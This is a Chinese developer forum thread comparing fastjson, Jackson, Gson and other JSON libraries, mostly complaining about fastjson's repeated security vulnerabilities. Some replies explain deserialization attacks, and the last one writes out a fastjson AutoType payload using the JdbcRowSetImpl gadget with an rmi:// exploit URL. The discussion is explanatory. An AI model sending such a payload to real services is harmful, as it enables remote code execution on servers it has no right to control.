
1 jk1030 Jun 1, 2020 bugjson |
2 sagaxu Jun 1, 2020 via Android 出于什么考量用这个库呢? |
3 raphael008 Jun 1, 2020 jackson 不香吗? |
4 qwerthhusn Jun 1, 2020 感觉这个库从 N 多年前就各种各样安全漏洞。。。 但是 jackson 的话,不支持 JSONArray 和 JSONObject 抽象。 有时候不想对某些 json 再做模型定义,然后用 JsonNode 的 API 太麻烦,全程用 LinkedHashMap 和 ArrayList 写起来也不太好看。 |
5 yty2012g Jun 1, 2020 已经因为 bugjson,升了 N 次版本了。。。 |
6 AngryMagikarp Jun 1, 2020 没用过,不过很奇怪,一个 JSON 库什么会有安全漏洞... |
7 smartdone Jun 1, 2020 @AngryMagikarp 反序列化 |
8 GM Jun 1, 2020 @qwerthhusn JsonNode 很好用,超级方便,你是没领悟到它正确用法。 |
9 movistar Jun 1, 2020 Jackson 也一堆漏洞,经常有报 case.... 别以为用 jackson 就安全啊..... |
10 looplj Jun 1, 2020 @raphael008 哈哈哈哈,jackson 多少安全漏洞,国内没有报导而已。 |
11 micean Jun 1, 2020 没影响,一直是 jackson |
12 ixx Jun 1, 2020 @AngryMagikarp #6 因为 json 会用在参数解析上,可以构建特殊 json 远程执行代码.... |
13 echo1937 Jun 1, 2020 Spring 自带 Jackson,我又不喜欢额外引入过多依赖,一直就用 Jackson 了。 这样有漏洞修补起来也轻松,直接升级 Spring 就行。 |
14 qwerthhusn Jun 1, 2020 @GM 额,我理解错了,我一直以为 JsonNode 就是那种 Low-Level 的语法,要解析各种 Token,刚刚仔细看了一下,和 fastjson 的 JSONArray 和 JSONObject 是类似的。。。。。。不过这套 API 没有 getArrayNode()或者 getObjectNode(),必须要先 get()获取父类,只能强转(或者用 instanceof 或者 getNodeType()检查一下) 从今天开始,fastjson 对我来说,一点用都没了!!!我负责的项目下一个 milestone 中有一项就是 get rid of bugjson |
15 Kamiyu0087 Jun 1, 2020 所以 FastJSON 和 Jackson 都不能用? 那么 GSON 如何呢? |
16 onikage Jun 1, 2020 上周五也被 bugjson 坑了, {"value":1,"id":2}, 在 bugjson 转一遍输出就变成{"id":2,"value":1}了, 信息没丢,但是在有签名的场景这完全是两个字符串. 不知道为什么这么多人迷信这玩意. |
18 sagaxu Jun 1, 2020 via Android @Kamiyu0087 gson 官方已经弃坑了 |
20 iFlicker Jun 1, 2020 via Android JSONObject 呢 |
22 wobuhuicode Jun 1, 2020 @onikage 明显是你自己对于 json 理解有问题。还能反咬一口框架 |
26 redtea Jun 1, 2020 那么到底该用哪个,更安全,性能更好? |
27 beidounanxizi Jun 1, 2020 fastjson 这个破 json 序列化和反序列化 遵守 json 规范么? 还有号称的性能 呵呵哒 用 jackson 不好么 |
28 whoami9894 Jun 1, 2020 |
30 beidounanxizi Jun 1, 2020 @onikage 这个是你自己个人没保证顺序的原因 |
31 heiheidewo Jun 1, 2020 一个 json 解析还这么多 bug |
32 hantsy Jun 1, 2020 @qwerthhusn Jackson 同样支持底层的强大 Node 操作(类似 Object, Array 操作非常简单),也支持高级的 Mapping,而且还支持 XML Mapping 。 还支持其它一些不太常见的格式。在 marshall/unmarshall 操作上,几乎是功能最全面的,在 Spring 是默认方案。 现在的 JSON-P,JSON-B 标准受 Jackson,Gson,JAXB 等影响很大。 |
33 hantsy Jun 1, 2020 |
34 Kyle18Tang Jun 1, 2020 Jackson 它不香么 |
36 keshawnvan Jun 1, 2020 JSON 反序列化用哪个库漏洞都很多,都需要经常更新 |
37 Vedar Jun 1, 2020 有点搞吧 验签排序确实是要做 但是你一个 json 库自作主张去排序就有毒了 这还能洗? |
38 Meltdown Jun 1, 2020 via Android 龟速的 json 有 bug 么 |
39 sayuria Jun 1, 2020 @AngryMagikarp 比如一只猫,序列化之后是 binary 序列。binary 是没有可读性的,看起来就是一堆乱码。 这时候黑客把一只狗序列化成 binary 序列,替换掉猫的序列。 json 反序列化之后,就会去执行狗的反序列后的代码。 |
41 mgzu Jun 1, 2020 问一下各位老哥,有 maven 或 eclipse 、idea 插件提示依赖安全漏洞的插件么 |
43 wm5d8b Jun 1, 2020 via Android gson 没有 bug 的话,开发基本停止好像也没问题? |
44 JasonLaw Jun 1, 2020 via iPhone @sayuria 我还是有点不明白,就算替换了内容,那也是数据(对象的属性)改变了,代码执行的逻辑还是不变的。可以具体讲解一下“怎么造成安全漏洞”的吗? |
45 526326991 Jun 1, 2020 一直用 gson 路过~~~ |
46 cco Jun 1, 2020 不管谁 bug 多,谁 bug 少。Spring 已经自带了 jackson,那我就懒得引入第三个 json,目前的业务也都满足。小声说:顶多在价格 gson- -! |
47 binbinyouliiii Jun 1, 2020 老老实实用 springboot 默认的 jackson 不好吗,一个 json 工具又不需要中文文档 |
51 tairan2006 Jun 1, 2020 Jackson 啥功能都有啊…升级 spring 很方便。 |
52 mars0prince Jun 1, 2020 毕竟没有漏洞就没有 kpi |
53 liuawei Jun 1, 2020 那些一直推荐 Jackson 这个玩意也有漏洞 反序列化的漏洞可以通过 bash 反弹控制服务器呀。 |
54 whoami9894 Jun 1, 2020 @JasonLaw JSON 映射到对象其实就是 build and assign,先实例化对象,然后对成员变量赋值,赋值时如果对象有 setXX 方法会调用,在 setXX 方法中可能有一些可以达到代码执行的操作 比如 JNDI injection 比如`com.sun.rowset.JdbcRowSetImpl`,调用它的`setAutoCommit`时会自动对成员变量`dataSourceName`进行一次 JNDI lookup,在低版本 JDK 中就可以直接加载远程字节码 |
55 kennylam777 Jun 1, 2020 @GM JsonNode + 1, 有的 type safety 都有 |
56 fanshuzaizai Jun 1, 2020 高级用法才有 bug,像我这种只用来 JSON.parseObject()和 JSON.toJSONString,从来没有 bug |
57 JasonLaw Jun 1, 2020 @whoami9894 产生对象的 class 是自己写的,setXX 能做什么不是完全由自己决定的吗?实例化 class 的一个对象后,会根据序列化之后的内容对属性设置不同的值。如果 setXX 方法除了赋值之外还做了“其他的事情”,不管是什么方式的反序列化,都会做“其他的事情”的呀,不会取决于“序列化的内容是否被修改”。是我哪里没有理解吗? |
58 Seneca Jun 1, 2020 良心福报厂 养活一批安全从业者 |
60 stormsuncc Jun 1, 2020 上边说 jackjson 也有问题的不知道啥心理。 下雨天没有伞房子还漏雨的人说你看隔壁也没伞出门(人家房子完好)。 |
61 zhuzeitou Jun 1, 2020 @sagaxu JakeWharton 最近的推上有说,gson 基本属于弃坑,2/3 的开发者参与了 moshi 开发,moshi 可以认为是 gson3 |
62 onikage Jun 1, 2020 |
63 onikage Jun 1, 2020 @wobuhuicode 问题是中间过的第三方服务做的, 我们自己的 client 和 server 用 http 直连测过以后再连人家服务发现这个问题的. |
64 wzw Jun 1, 2020 via iPhone 我用 msgpack……不知道怎么样 |
65 looplj Jun 1, 2020 @stormsuncc 不知道你是什么心理。都说转 jackson,提出 jackson 也有漏洞,有什么问题?国外的框架有漏洞不让说? |
66 LostPrayers Jun 1, 2020 没有高级反序列化,就没有伤害 |
67 zzNucker Jun 1, 2020 |
68 Loyelee Jun 1, 2020 via iPhone 一直用的 gson |
69 qoras Jun 1, 2020 这玩意不报 bug 才不正常 |
70 mxalbert1996 Jun 1, 2020 via Android |
71 back0893 Jun 1, 2020 有 bug 不是正常? |
72 youxiachai Jun 2, 2020 via iPad 有点迷,这算是没关注比有关注强吗。。。。 特别有几位大佬一个劲的批判也不知道为啥。。 |
73 wanguorui123 Jun 2, 2020 via iPhone 反序列化注入漏洞,年年都报 |
74 ConradG Jun 2, 2020 @JasonLaw 因为“产生对象的 class 是自己写的”这句话在某些情况下是不对的。 除了常见的“标准”json 外,还存在“标记了反序列化目标类型“的非标准 json 。json 反序列化的大部分漏洞都是通过更改这类 json 的类型标记,实例化一些敏感类进行攻击。 |
75 xuxanwan Jun 2, 2020 在哪里能看到 fastjson 所有历史缺陷,及 jackson 的所有历史缺陷,想坐下选型前的对比。 |
76 lcj2class Jun 2, 2020 via iPhone 对性能有要求的,直接上 protobuf 吧 |
77 metrxqin Jun 2, 2020 马上就 618 了,现在紧急更新等于找骂。 |
78 NewConn Apr 1, 2021 fastjson 有个 AutoType 特性,JSON 中会带类型信息 @type ; JSON 字符串反序列化时,会读取 @type 内容,把 JSON 反序列化成这个对象,并且会调用这个类的 setter 方法; 那么就可以利用这个特性,自己构造一个 JSON 字符串,并且使用 @type 指定一个自己想要使用的攻击类库,比如:com.sun.rowset.JdbcRowSetImpl 在 JdbcRowSetImpl 的 dataSourceName 中设置一个想要执行的命令 {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true} 就可以攻击远程数据库 |